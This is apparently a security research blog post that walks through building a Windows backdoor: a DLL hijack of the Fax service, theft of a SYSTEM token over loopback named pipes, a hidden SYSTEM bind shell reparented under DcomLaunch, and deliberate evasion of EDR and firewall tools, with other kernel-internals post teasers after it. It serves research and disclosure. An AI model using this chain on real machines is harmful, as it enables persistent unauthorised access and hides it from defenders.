Fxssvc.exe was looking for c:\windows\system32\ualapi.dll — unsuccessfully. So we placed our DLL in that location, started the service and sure enough, it was loaded into the process! 

But then we had a few problems:

  1. The service doesn’t run under the SYSTEM account, but under NETWORK SERVICE. This isn’t a truly privileged account, so there’s more work to be done.
  2. The service looks up some exports using GetProcAddress, which it expects to find in Ualapi.dll
  3. Unless you’re actually queueing a fax, the service exits almost as soon as it starts (there are a lot of unfortunately named “suicide” variables in the symbols), meaning we can’t have persistent threads lying around.

We wanted to solve for 2 & 3 together — normally, malicious privilege escalation attacks leverage DllMain in order to perform their next steps, but in our case, the need to elevate to SYSTEM makes things harder — plus the fact we want to have an embedded bind shell developed in a smarter way. Secondly, encoding an entire payload in DllMain is highly suspicious to anyone disassembling the binary. And finally, DllMain is called when the DLL is loaded, which means that the loader lock is held, greatly diminishing our capabilities.

Therefore, we skirted the entire problem by not having an entrypoint in the DLL at all, and leveraging the way the Fax service calls the Ualapi.dll, which you can see in the IDA screenshot below:

Since the service expects all three functions present, we export all of them, and then implement a UalStart function where we write our logic — safely away from the confines of the loader lock. Normally we’d have done all of our operational setup here, but we wanted to be sneaky, and leverage the Windows Thread Pool, which affords us some asynchronicity, makes call stacks harder to understand, and brings pain to EDR tools.

The main body of our UalStart is actually quite simple:

// Create the thread pool that we'll use for the work

pool = CreateThreadpool(NULL);
if (pool == NULL)
    goto Failure;

// Create the cleanup group for it
cleanupGroup = CreateThreadpoolCleanupGroup();
if (cleanupGroup == NULL)
    goto Failure;

// Configure the pool
SetThreadpoolCallbackPool(&CallBackEnviron, pool);
SetThreadpoolCallbackCleanupGroup(&CallBackEnviron, cleanupGroup, NULL);

// For now, always stay in this loop
while (1)
    // Execute the work callback that will take care of
    work = CreateThreadpoolWork(WorkCallback, NULL, &CallBackEnviron);
    if (work == NULL)
        goto Failure;

    // Send the work and wait for it to complete
    WaitForThreadpoolWorkCallbacks(work, FALSE);

    // We're done with this work

It not only provides the benefits of the thread pool evasion/abstraction, but also means that UalStart will never return — keeping the Fax service from shutting down, and additionally putting it in a perpetual SERVICE_START_PENDING state, which is unstoppable through regular Sc.exe commands. We now have a persistent implant on the system — but we still want to get to a SYSTEM shell.

An Elevated Fax

Now that we have our NETWORK SERVICE implant, it’s time to head on over to SYSTEM. When this account was first introduced in Windows XP, alongside its breatheren LOCAL SERVICE, the idea was to have service accounts with reduced privileges and permissions, most especially that would not belong to the Administrators group.

However, since these are services, they were given the SeImpersonatePrivilege, which means they can impersonate a more powerful token as long as someone more privilege connects and/or speaks to them, through Winsock, Named Pipes, or ALPC. Technically, this privilege can be dropped from a given Svchost.exe by using the RequiredPrivileges registry value, but few services do so., and as you can see below, Fax does not (in fact, it even has the SeAssignPrimaryTokenPrivilege too):

Therefore, our initial idea was to open a handle to the RpcSs service, which holds handles to lots of different tokens, including SYSTEM tokens:

The Fax service, which runs in Fxssrv.exe, has the impersonation privilege, and therefore we should be able to duplicate one of these tokens and impersonate it, elevating ourselves to SYSTEM. Unfortunately, unless you’re running Windows XP (i.e.: reading this blog during a BlackHat Advanced Windows Exploitation Course), this simply won’t work.

This is due to the fact that since Windows Vista, services have been hardened, as described in the Windows Internals books as well as in this excellent blog by James Forshaw. That being said, over the years, as was shown countless times, the “isolation” between the services did not truly mean much. Multiple attacks were shown, which we’ll enumerate and reference here, alongside with mitigations:

  • Simply spoofing an endpoint supposedly owned by another service, and getting a SYSTEM process to connect, then impersonating it
  • Finding another service that shares the same Svchost.exe instance, and simply using its own SYSTEM-level impersonation tokens, since the handle table is shared
    • Windows 10 Redstone 2 now isolates services in their own separate Svchost.exe instances, on systems with over 3.5GB of RAM
  • Opening a handle to another Svchost.exe instance which has SYSTEM-level impersonation tokens, and duplicating them
    • In Windows Vista, each NETWORK SERVICE process has its own Logon ID (LUID), and the process object is ACL’ed such that only SYSTEM and the unique per-service Logon ID have access to it
  • Opening a handle to a thread in another Svchost.exe instance and sending an APC to duplicate a SYSTEM-level impersonation token
    • In Windows Vista, the thread objects are all owned by NETWORK SERVICE, but use an OWNER RIGHTS ACE, also introduced in Vista, in order to strip out any privileged permissions.
  • Leveraging loopback network authentication attacks to coerce a more privileged service from authenticating over NTLM with its SYSTEM token
  • Abusing the fact that the DOS Device Map is shared among all NETWORK SERVICE services, and performing a DLL path resolution attack
    • No mitigation
  • Leveraging loopback named pipe authentication attacks to trick LSASS into returning a more privileged NETWORK SERVICE token
    • No mitigation, and the approach we chose. As always, James wrote another blog post describing this technique.

The idea is simple — while we can’t directly open a handle to RpcSs, we can create a named pipe, then open it back using the \\localhost SMB namespace (instead of \\.), and then impersonate it. This will cause the SMB driver to call AcquireCredentialsHandle to obtain a NETWORK SERVICE token (our current account), which it does by passing in the LUID. In turn, LSASS returns the original token that was created to represent the logon session as whole — which just so happens to be the RpcSs token, since this is normally the first service running as NETWORK SERVICE. In order words, we just got the same LUID as RpcSs, and we can now open a handle to it!

Here’s a screenshot of our worker thread’s token after impersonating the named pipe. Notice how many more privileges it has, and the new LogonSession group it joined: 



Because we now have the same token as RpcSs, we can freely open a handle to it, with all the way up to PROCESS_ALL_ACCESS. We then implemented a handle scanning algorithm similar to previous ones demonstrated, but with a few twists that take advantage of more modern Windows functionality:

  1. We use the ProcessHandleInformation class of NtQueryInformationProcess to enumerate the process handles. Previous research and PoCs brute-forced each possible handle, which is a much slower approach. A few other sources used the SystemHandleInformation class of NtQuerySystemInformation, which is slower because it enumerates all handles – requiring filtering to find the right process.
  2. We open our own token, then use NtQueryObject’s ObjectTypeInformation class to get the Object Type Index for Token Objects (which can vary from version to version, depending on initialization order). This allows us to filter the result list in #1 quickly without calling DuplicateHandle and then DuplicateToken on every handle, like past sources, nor do we need to do a name comparison on the Type Name.
  3. Now that we know we are dealing with a token handle, we also check the DesiredAccess field to select only tokens where the granted access mask is TOKEN_ALL_ACCESS. This increases the chance that we find highly privileged interesting tokens that we can then impersonate.
  4. On most systems, it then only takes us 2-3 calls to DuplicateHandle before we find an appropriate SYSTEM token.

What do we consider an “appropriate” token, by the way? First, we check the AuthenticationId (LUID) to ensure it is 0x3E7 (SYSTEM_LUID). Next, we check the PrivilegeCount to make sure it is equal to or above 22, which is the normal amount of privileges that a Windows 10 SYSTEM token has – some services run with filtered tokens, so RpcSs may impersonate such reduced SYSTEM tokens from time to time. We wanted the real deal. Thankfully, both of these checks can be quickly done with the TokenStatistics class of GetTokenInformation.

Finally, after calling SetThreadToken, our thread now runs with a SYSTEM token that has all privileges present and enabled:

Armed with this token, we open a handle to yet another service: DcomLaunch. Once the handle’s been opened, we revert the token back to the original NETWORK SERVICE. The short duration of our impersonation, and the fact we merely open a handle and nothing else, helps keep us low on EDR tool’s visibility.

So – why DcomLaunch? We had two additional operational goals that we wanted to play with. First, we wanted to launch the perennial shell, but without having a SYSTEM-token’ed Cmd.exe underneath the… Fax service, sticking out like a sore thumb.

Additionally, we wanted to avoid having to use SeAssignPrimaryTokenPrivilege and doing the obvious “impersonate a SYSTEM token and set it as a primary process token”, so that we could use the sneakier PROCESS_CREATE_PROCESS technique. In case this doesn’t ring a bell, it essentially relies on the Windows behavior of automatically launching children process with the token of their parent and combines it with the Windows Vista feature of allowing “re-parenting”. The link above has James (again!) original presentation on this, which he also describes on a blog post (and related functionality in his PowerShell tools).

This capability means that all Unix-like fork behavior (environment variable inheritance, handle inheritance, standard input/out inheritance, and the token duplication) will be based on the chosen parent process, and not the actual creator process. It also evades many EDR solutions that automatically assume the parent is the creator, and ultimately will make it such that Cmd.exe will appear in the process tree of the Svchost.exe that hosts DcomLaunch.

Why did we pick this service? Well… just take a look at how its process tree normally looks like:

Would you notice another Cmd.exe window in all this mess? 

Binding to a Socket

For an interactive local attacker, a SYSTEM Cmd.exe is great for privilege escalation, but a persistent backdoor that allows remote access is a lot more versatile (and a local attacker could bind to it as well).

In the real world, these types of shells are usually setup as “reverse shells” in order to avoid firewall rules around inbound connections. But we didn’t want to fully weaponize the entire chain and create a beaconing & C2 infrastructure, so we wrote a simple bind shell instead.

While this isn’t novel, we did want to use some Windows Internals knowledge to spice it up a little. First, we continued with our approach of leveraging the Windows Thread Pool API, and used the AcceptEx function which has a very different approach to establishing a Winsock connection vs. the usual BSD Socket API:

  • Instead of creating and returning a client-side socket after a connection is made, AcceptEx expects the caller to have already created the (unbounded) socket and pass in as an input
  • Instead of blocking, it pushes a completion packet to an I/O completion port (“overlapped I/O” in Win32 parlance), which can then be associated with a callback function using the Thread Pool API.
  • It does not consider the connection accepted (and thus does not wake up the I/O completion port) until at least one packet has been sent by the client – and it returns back what the first client packet’s data payload was.
  • It automatically fills out the local and remote SOCKADDR structures that represent the server and client IP and Port tuple
  • It’s not directly exported by the Winsock library (Ws2_32.dll) because it is a specialized Microsoft Extension. Instead, you must use WSAIoctl with SIO_GET_EXTENSION_FUNCTION_POINTER to look it up by GUID (this isn’t even documented on WSAIoctl’s documentation as a valid command!)

As you can see, AcceptEx is quite strange – but also quite useful for what we were going for. Therefore, the last step our Thread Pool Work Callback will do is create two sockets – a listening socket and an unbound socket, bind the listening socket, and pass both as input to AcceptEx after looking up its pointer. Looking up the local IP address and building the SOCKADDR for bind is done using GetAddrInfoW (vs. gethostbyname), a more modern and easier to use API, and the sockets are created with WSASocket instead of socket – you’ll see why soon.

Finally, we pump an I/O completion into the thread pool and then wait for our callback to complete. Now UalStart is waiting on the work callback to return, and the work callback is waiting on the I/O callback to return. Thread stacks in Process Hacker won’t immediately show anything nefarious going on (such as someone blocked on accept from within a DLL), and our operations are spread out over 3 different threads (none of which we directly created).

Creating the SYSTEM Bind Shell

Eventually, a client connects to our remote endpoint and sends a packet. At this point, our I/O callback will execute. The reason we wanted this “send a packet” behavior is to avoid spuriously waking up due to someone doing port scanning and randomly trying to connect to our port. With AcceptEx, actual data must first be sent. This, in turn, also gives us the opportunity to validate that the input packet contains the right (expected) connection payload, which in our case is the string let me in\n – this made it easier to play with Netcat to test our shell out.

Once we validated the input payload, we can print out the local and remote endpoints with GetNameInfoW, another modern API that makes SOCKADDR translation to a string easy. But our real goal is to spawn that Cmd.exe attached to the accepted socket, reparented under DcomLaunch. The simple way of achieving this is as follows:

  • Use STARTF_USESHOWWINDOW to indicate that dwFlags will have window flags, and use SW_HIDE to keep the window hidden. Also pass in CREATE_NO_WINDOW to make extra sure.
  • Use STARTF_USESTDHANDLES to indicate that hStdInput, hStdOutput, and hStdError will have valid handle values, and use the accepted socket handle to allow the other side to drive the shell.
  • And, as before, use EXTENDED_STARTUPINFO_PRESENT to set the lpAttributeList which contains the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS that has a handle back to DcomLaunch.

And when it works (it doesn’t yet), the result should look something like this (do you even notice the Cmd.exe?)

However, such a shell will instantly exit. Recall that when reparenting, all fork like behaviors, including handle inheritance, will come from the parent, not the creator. And the handles we’ve passed in as STDIN and others must be inheritable, and must exist… in the parent.

Therefore, we must first make sure that the socket handles are inheritable, which is thankfully the default when using WSASocket (there is a flag, WSA_FLAG_NO_HANDLE_INHERIT, to disable this functionality). But, more importantly, we must make sure that the socket exists in DcomLaunch – not in Fax.

Unfortunately, if you search the Internet on how to duplicate a socket, you’ll find the WSADuplicateSocket API. This API isn’t “hands-free” – the receiving side must actively call socket again, and pass in a data structure that was returned (and somehow copied) by the sending side. Now we’d have to inject code into DcomLaunch and perform other highly suspicious action.

Hold on – if sockets are supposed to be inheritable by default, such that they can be used as input/output handles for a new process, doesn’t this mean that the kernel (which handles process creation) can somehow duplicate the socket (inheritance is just another form of duplication) through the object manager, without specialized Winsock APIs? In fact, if you try using DuplicateHandle yourself on a socket, you’ll see that it works just fine, despite repeated warnings from MSDN and other sources.

That’s not to say those warnings or documentation are wrong. Yes, in certain cases, if you have various Layered Service Providers (LSPs) installed, or use esoteric non TCP/IP sockets that are mostly implemented in user-space, the duplicated socket will be completely unusable.

Ultimately, for sockets owned by Afd.sys, which is the kernel IFS (Installable File System) implementation of Windows Sockets, the operation works just fine, and the resulting socket is perfectly usable – and has certain perks. Therefore, we must set hStdInput to the socket’s handle index in DcomLaunch, after we’ve duplicated it (thankfully, DuplicateHandle tells us what the resulting handle index is).

Recall that one of the advantages of AcceptEx is that it expects the accepted socket handle as input, unlike accept that returns it after the connection is made. This benefit means that we can actually open a handle to DcomLaunch while we impersonate SYSTEM, create the local accept socket, and then immediately duplicate it.

Merely duplicating an unbound socket doesn’t notify any firewall/WFP/EDR callback, and isn’t shown as being attached to anything (as is the case), and it also means that when our I/O callback function executes, we can actually immediately close our side of the accept socket, since the underlying AFD Endpoint is now being referenced by DcomLaunch too.

In our implementation, however, we chose to leave the socket alive until after we launch Cmd.exe, so that we could return error messages back to the client if needed.

Going back to our CreateProcess call, there’s just one last step before we can use the duplicated socket. If you read various Internet sources on how to bind the shell to a socket, you’ll see that the technique works fine when creating reverse shells, but not so much with bind shells (at least, according to Stack Overflow).

PoCs online and various forums suggest that the only way of achieving the intended result is to first create a series of named pipes, have threads pumping all the network I/O through the pipe, and then set the pipes as STDIN/OUT for the child process. Wow, that’s a lot of work, and we’re lazy.

Well, upon further reading, it turns out that the real problem is this: standard terminal handles are meant to be fully synchronous (“non-overlapped”), and socket creates overlapped (“non-blocking”) socket handles. The solution is to then use setsockopt to bring them back to “blocking” mode – or, to leverage the simple fact that WSASocket does not have this behavior, unless WSA_FLAG_OVERLAPPED is passed in, which is not the default, but which our code was using.

You see, what’s tricky is that AcceptEx itself is an Overlapped I/O API – that’s why it works with our entire thread pool based approach. So not passing in WSA_FLAG_OVERLAPPED means that we can no longer use the API, or a thread pool, or the entire approach we’re going for. That said, once again, the benefit of AcceptEx separately accepting the other socket (the one that will be bound to the client, and duplicated into DcomLaunch to serve as the STDIN/OUT handle) as input is a life saver. We can create the listening socket as overlapped, and then create the accepting socket as non-overlapped, having our cake and eating it too.

As last, we now combine everything together and have a functional CreateProcess call which creates a hidden Cmd.exe that’s bound to the client socket, and the client can start manipulating our remote machine. Now sounds like about the right time to dump a demo screenshot to get that conference applause.

But, this blog post isn’t quite 6000 words yet, so we’re not done with the Windows internals, as there’s a few extra tidbits.

Duplicated Sockets and Evasion

First, if you use Netstat with the “-b” flag, or Process Hacker, or Process Monitor, you’ll not see a single socket inside of DcomLaunch. Indeed, the entire connection still appears as if driven by from Fxssvc.exe. Even better, if we’d allow the Fax service to exit (which we didn’t want in our implementation), Netstat will show System and Process Monitor seems to completely hide the network I/O. Additionally, any BFE or WFP-based tools will see traffic as if coming from Fxssvc.exe, and Windows Firewall rules will apply to that process, and not DcomLaunch. Look at this screenshot below, of our Netcat connection above:

This behavior is due to a glaring oversight in allowing DuplicateHandle on sockets but not fully making Afd.sys capable of correctly handling the security implications. Ultimately, because the AFD Endpoint is the same, the duplicate handle is just an additional reference – and all ownership of the socket still belongs to the original creator – even when the creator exists (and actually, because Netio.sys is still referencing the original EPROCESS, the creator and the PID become “zombies” and leak resources).

Here’s Windbg showing Fxssvc.exe and its reference count while it’s running:

And here it is after terminating the process — notice how there’s still 8 leaking references:

This behavior was actually discovered and told to us by a good friend – the creator of Process Hacker. It was submitted to Microsoft years ago, but – stop us if you’ve heard this one before – it’s not a security boundary, it’s by design. Certainly, a design which all EDR/Firewall/DFIR vendors all know about, since it’s so clearly documented, right?

The last internals behavior we use is in how we send data back to the client in error situations (a lot can go wrong with creating our Cmd.exe) – we don’t use the send API. Instead, we use yet another “lookup-by-GUID” functionality of Winsock 2.2, which is TransmitPackets. This is a more generic version of TransmitFile, an API that once got Microsoft in trouble, for building end-to-end file transfer directly into the kernel, which was once considered anticompetitive and dangerous (these days, Linux has exactly the same functionality).

TransmitPackets allows you to specify a set of virtual addresses — or file handles — and has a dozen flags to fine tune how this data should be sent – including through worker threads (the default) or through Kernel APCs (the faster way). We thought it’d be fun to use it, which again makes the payload import less obvious socket APIs, makes analysis a bit harder, and has a minute performance again in the off chance there’s an error packet to send. It also avoids LSPs or other EDR hooks on traditional APIs like accept, recv, send, socket — and even the IOCTLs sent to Afd.sys are different.

Putting this all together, we now have our I/O callback calling WaitForSingleObject to wait for the Cmd.exe to exit when the client disconnects. We’re good citizens and use the CallbackMayRunLong thread pool API not to hold things up — note that we could have used the WaitCallback functionality of the thread pool, to asynchronous be notified when the shell exits, but that would’ve added more complexity that at this point just wasn’t worth it.

Once the Cmd.exe terminates, the I/O callback completes, which then wakes up the work callback, which then wakes up the UalStart thread. In our code, it goes back into a loop, and starts the whole operation again. Certainly, we could’ve cached a bunch of data to make this easier, but we opted for the simpler approach. And you could also make it to that Fxssvc.exe exits and this while logic is hosted somewhere else, or etc., etc., etc. We’re not actually NSA operators, so we’ll leave that to the real implant writers.

A last note on this: if you like using this unknown DLL but, unlike us, don’t mind restarting the machine, you can always restart and let Spoolsv.exe load Ualapi.dll when it starts running. This process starts on boot and runs as SYSTEM, which saves us a lot of the work — in that case we will just need to open our bind shell:

Of course, most people do notice when their computer restarts out of nowhere. And if you plan on waiting for the machine to restart for an unrelated reason (update, crash, etc.) you might be waiting a very long time, as many servers only go down a few times a year for a scheduled update and neither of us can remember the last time we restarted our computers. But hey, maybe you’re playing the long game. We don’t judge. Much.

ATP Bonus Round

This was a lot of reading and effort for a simple DLL hijacking attack. Maybe you just want something a lot simpler. And not have to worry about custom exports and a funny named DLL. Well, Windows 10 provides exactly what you need, and takes you straight to SYSTEM without any of this work. How could something like this work? Well, you’ve probably heard of Windows Defender ATP. What you might not know is that “ATP” stands for “Accommodating To Planting”.

In fact, every single DLL that it loads suffers from a load ordering issue, where the current directory takes precedence over System32. But that’s OK — this is clearly a 3rd party tool, not from a security-focused team, and understanding the internals of load ordering is hard, so we can be understanding:

Of course, things aren’t as easy as they might seem at first, as ATP does have a number of mitigations in place to avoid nonchalant abuse of this behavior:

  • The Service Control Manager (SCM) will start it as a Windows Protected Process Light (PPL) which will require your DLL to be Microsoft-signed (or some PPL/signature bypass, like the ones shown at Recon 2019 by James Forshaw and Alex).
  • Mssecflt.sys / Sgrmagent.sys have capabilities to detect this type of attack, in combination with Windows Defender and System Guard Runtime Monitor Attestations (Octagon).

That being said, using the PreferSystem32Images mitigation would certainly clean up this behavior.

Windows Manganese (21H1) Post-Credits Scene

OK, OK, let’s stop making fun of the OS Vendor’s EDR tool. The team was acquired, not native to Microsoft, and DLL hijacking isn’t even a security boundary. It’s not like the OS itself would ever have issues like these… right? Right??? Continuing in the tradition of ever-increasing quality and static analysis tools and totally-not-throwing-the-SDL-out-the-Window, the next version of Windows 10 just adds a built-in DLL planting vector to every privileged process — EdgeGdi.dll. The latest builds now hard-code loading this DLL directly into Gdi32.dll — a fact which we noticed alongside @decoder_it on Twitter:

Yep — a new function CheckIsEdgeGdiProcessOnce was added — which makes every GUI process now vulnerable to this DLL planting attack. Ah, security… why even bother?

Show Me The Code!

We’ve implemented the end-to-end functionality described here in our GitHub project Faxhell, which is a pun on the pronunciation of the word “Fax” (Facs) and “Shell” — while also making the words “Fax Hell”. Because Alex likes naming things in silly ways.

Symbolic Hooks Part 4: The App Container Traverse-ty

After getting the driver in Part 3 of our blog to load and adding a DbgPrintEx statement in our hook, we managed to get all the paths that were being opened without crashing the machine. We got really excited thinking we were done. But as soon as we clicked on the Start Menu, we noticed things had gone awry – it wasn’t starting up at all, and when we launched Process Monitor from SysInternals, we could see ShellExperienceHost.exe crashing. We tried other applications, which ran fine but still, the machine was pretty much unusable. So, we relaunched our IDA and WinDbg and went hunting for more bugs.

Continue reading “Symbolic Hooks Part 4: The App Container Traverse-ty”

Symbolic Hooks Part 3: The Remainder Theorem

We ended the second part with, unsurprisingly, a bugcheck. We tried to redirect all access to the C: volume to our device in order to get information about all the paths that are being accessed, but the first time anyone tried opening the C: volume itself, the I/O manager threw a DRIVER_RETURNED_STATUS_REPARSE_FOR_VOLUME_OPEN blue screen at us.

Unfortunately, we can’t return any other status code than STATUS_REPARSE or the path will not be parsed properly and a lot of things will break in the system as our fake device now becomes the “file system” of this poor path. But what if we could find a way to never have to return STATUS_REPARSE for volume opens, because we never see a volume open to begin with?

Continue reading “Symbolic Hooks Part 3: The Remainder Theorem”

Symbolic Hooks Part 2 : Getting the Target Name

In our last blog part, we concluded with a working callback, but no information about the path being opened. Of course, we could get it from the stack since it should be saved there somewhere, but we thought there must be a more elegant way. We also wanted to avoid writing a book on Unwind Opcodes and how they can be used to recover stack parameters efficiently.

Continue reading “Symbolic Hooks Part 2 : Getting the Target Name”

“Move aside, signature scanning!” Better kernel data discovery through lookaside lists


A while ago we did some research. That specific project might be published at some other time in the future and we won’t go into too much detail about it here. But as part of this project we wanted to gain access into an internal data structure used by some driver. Sadly, the driver’s global pointer to this data structure is not exported, and we couldn’t find a way to access it from outside the driver itself. It is stored in the pool, so we couldn’t even scan the driver address space for signs of this structure.

Continue reading ““Move aside, signature scanning!” Better kernel data discovery through lookaside lists”

DKOM – Now with Symbolic Links!

You might think “What can ANYONE still say about kernel callbacks? We’ve already seen every callback possible – there are process creation callbacks, object type callbacks, image load notifications, callback objects, object type callbacks, host extensions… there can’t be any more kinds of callbacks. Right? Right…?”


In Microsoft’s never-ending attempt to close one door for kernel hooking and open two more, Windows 10 Creators Update (RS2) added a new type of callback – this time for symbolic links.

Continue reading “DKOM – Now with Symbolic Links!”

R.I.P ROP: CET Internals in Windows 20H1

A very exciting thing happened recently in the 19H1 (Version 1903) release of Windows 10 – parts of the Intel “Control-flow Enforcement Technology” (CET) implementation finally began, after years of discussion. More of this implementation is being added in every Windows release, and this year’s release, 20H1 (Version 2004), completes support for the User Mode Shadow Stack capabilities of CET, which will be released in Intel Tiger Lake CPUs.

Continue reading “R.I.P ROP: CET Internals in Windows 20H1”